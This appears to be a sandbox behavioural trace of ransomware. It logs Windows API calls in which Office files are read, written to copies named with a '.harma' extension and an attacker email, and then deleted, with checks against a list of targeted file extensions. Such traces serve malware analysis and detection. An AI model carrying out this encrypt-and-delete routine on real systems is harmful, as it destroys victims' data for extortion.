[0158.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 0x20 [0158.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.754] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.755] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0158.755] GetLastError () returned 0x0 [0158.755] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x44a, lpOverlapped=0x0) returned 1 [0158.799] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x450, lpOverlapped=0x0) returned 1 [0158.800] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.800] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0158.800] SetEndOfFile (hFile=0x340) returned 1 [0158.800] CloseHandle (hObject=0x340) returned 1 [0158.800] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.800] SetEndOfFile (hFile=0x208) returned 1 [0158.803] CloseHandle (hObject=0x208) returned 1 [0158.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 1 [0158.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.804] lstrlenW (lpString=".doc") returned 4 [0158.804] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString=".docx") returned 5 [0158.804] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0158.804] lstrlenW (lpString=".pdf") returned 4 [0158.804] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString=".xls") returned 4 [0158.804] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.804] lstrlenW (lpString=".xlsx") returned 5 [0158.804] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0158.804] lstrlenW (lpString=".ppt") returned 4 [0158.804] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.804] lstrlenW (lpString=".zip") returned 4 [0158.804] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.804] lstrlenW (lpString=".rar") returned 4 [0158.804] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString=".bz2") returned 4 [0158.804] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString=".7z") returned 3 [0158.804] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.804] lstrlenW (lpString=".dbf") returned 4 [0158.804] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.804] lstrlenW (lpString=".1cd") returned 4 [0158.804] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.804] lstrlenW (lpString=".jpg") returned 4 [0158.804] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.805] lstrlenW (lpString=".doc") returned 4 [0158.805] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString=".docx") returned 5 [0158.805] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0158.805] lstrlenW (lpString=".pdf") returned 4 [0158.805] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString=".xls") returned 4 [0158.805] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0158.805] lstrlenW (lpString=".xlsx") returned 5 [0158.805] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0158.805] lstrlenW (lpString=".ppt") returned 4 [0158.805] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.805] lstrlenW (lpString=".zip") returned 4 [0158.805] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0158.805] lstrlenW (lpString=".rar") returned 4 [0158.805] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString=".bz2") returned 4 [0158.805] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString=".7z") returned 3 [0158.805] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0158.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.805] lstrlenW (lpString=".dbf") returned 4 [0158.805] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.805] lstrlenW (lpString=".1cd") returned 4 [0158.805] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0158.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0158.806] lstrlenW (lpString=".jpg") returned 4 [0158.806] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0158.806] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0158.806] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0158.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.806] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=290688) returned 1 [0158.806] CloseHandle (hObject=0x208) returned 1 [0158.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 0x20 [0158.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.807] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.807] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0158.808] GetLastError () returned 0x0 [0158.808] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x46f80, lpOverlapped=0x0) returned 1 [0158.891] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x46f90, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x46f90, lpOverlapped=0x0) returned 1 [0158.898] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.898] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0158.899] SetEndOfFile (hFile=0x340) returned 1 [0158.899] CloseHandle (hObject=0x340) returned 1 [0158.899] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.900] SetEndOfFile (hFile=0x208) returned 1 [0159.383] CloseHandle (hObject=0x208) returned 1 [0159.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 1 [0159.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.390] lstrlenW (lpString=".doc") returned 4 [0159.390] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString=".docx") returned 5 [0159.390] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.390] lstrlenW (lpString=".pdf") returned 4 [0159.390] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString=".xls") returned 4 [0159.390] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString=".xlsx") returned 5 [0159.390] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.390] lstrlenW (lpString=".ppt") returned 4 [0159.390] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.390] lstrlenW (lpString=".zip") returned 4 [0159.390] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString=".rar") returned 4 [0159.390] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString=".bz2") returned 4 [0159.390] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.390] lstrlenW (lpString=".7z") returned 3 [0159.390] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.390] lstrlenW (lpString=".dbf") returned 4 [0159.391] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.391] lstrlenW (lpString=".1cd") returned 4 [0159.391] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.391] lstrlenW (lpString=".jpg") returned 4 [0159.391] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.391] lstrlenW (lpString=".doc") returned 4 [0159.391] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString=".docx") returned 5 [0159.391] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.391] lstrlenW (lpString=".pdf") returned 4 [0159.391] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString=".xls") returned 4 [0159.391] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString=".xlsx") returned 5 [0159.391] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.391] lstrlenW (lpString=".ppt") returned 4 [0159.391] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.391] lstrlenW (lpString=".zip") returned 4 [0159.391] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString=".rar") returned 4 [0159.391] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString=".bz2") returned 4 [0159.391] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.391] lstrlenW (lpString=".7z") returned 3 [0159.391] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.392] lstrlenW (lpString=".dbf") returned 4 [0159.392] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.392] lstrlenW (lpString=".1cd") returned 4 [0159.392] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0159.392] lstrlenW (lpString=".jpg") returned 4 [0159.392] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.392] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0159.392] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0159.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.503] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1920) returned 1 [0159.503] CloseHandle (hObject=0x388) returned 1 [0159.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 0x20 [0159.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.509] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.509] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.510] GetLastError () returned 0x0 [0159.510] ReadFile (in: hFile=0x34c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x780, lpOverlapped=0x0) returned 1 [0159.514] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x790, lpOverlapped=0x0) returned 1 [0159.515] ReadFile (in: hFile=0x34c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.515] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.515] SetEndOfFile (hFile=0x388) returned 1 [0159.515] CloseHandle (hObject=0x388) returned 1 [0159.515] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.515] SetEndOfFile (hFile=0x34c) returned 1 [0159.527] CloseHandle (hObject=0x34c) returned 1 [0159.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 1 [0159.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.529] lstrlenW (lpString=".doc") returned 4 [0159.529] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0159.529] lstrlenW (lpString=".docx") returned 5 [0159.529] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0159.529] lstrlenW (lpString=".pdf") returned 4 [0159.529] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0159.529] lstrlenW (lpString=".xls") returned 4 [0159.529] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0159.529] lstrlenW (lpString=".xlsx") returned 5 [0159.529] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0159.529] lstrlenW (lpString=".ppt") returned 4 [0159.529] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0159.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.529] lstrlenW (lpString=".zip") returned 4 [0159.529] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0159.529] lstrlenW (lpString=".rar") returned 4 [0159.529] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0159.529] lstrlenW (lpString=".bz2") returned 4 [0159.529] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0159.529] lstrlenW (lpString=".7z") returned 3 [0159.529] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0159.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.529] lstrlenW (lpString=".dbf") returned 4 [0159.529] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.530] lstrlenW (lpString=".1cd") returned 4 [0159.530] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.530] lstrlenW (lpString=".jpg") returned 4 [0159.530] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.530] lstrlenW (lpString=".doc") returned 4 [0159.530] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString=".docx") returned 5 [0159.530] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0159.530] lstrlenW (lpString=".pdf") returned 4 [0159.530] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString=".xls") returned 4 [0159.530] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0159.530] lstrlenW (lpString=".xlsx") returned 5 [0159.530] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0159.530] lstrlenW (lpString=".ppt") returned 4 [0159.530] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.530] lstrlenW (lpString=".zip") returned 4 [0159.530] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0159.530] lstrlenW (lpString=".rar") returned 4 [0159.530] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString=".bz2") returned 4 [0159.530] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0159.530] lstrlenW (lpString=".7z") returned 3 [0159.530] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0159.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.530] lstrlenW (lpString=".dbf") returned 4 [0159.530] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0159.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.531] lstrlenW (lpString=".1cd") returned 4 [0159.531] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0159.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0159.531] lstrlenW (lpString=".jpg") returned 4 [0159.531] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0159.531] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0159.531] lstrlenW (lpString="PJINTL.DLL") returned 10 [0159.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.542] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=3384192) returned 1 [0159.542] CloseHandle (hObject=0x34c) returned 1 [0159.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll")) returned 0x20 [0159.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0159.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.543] 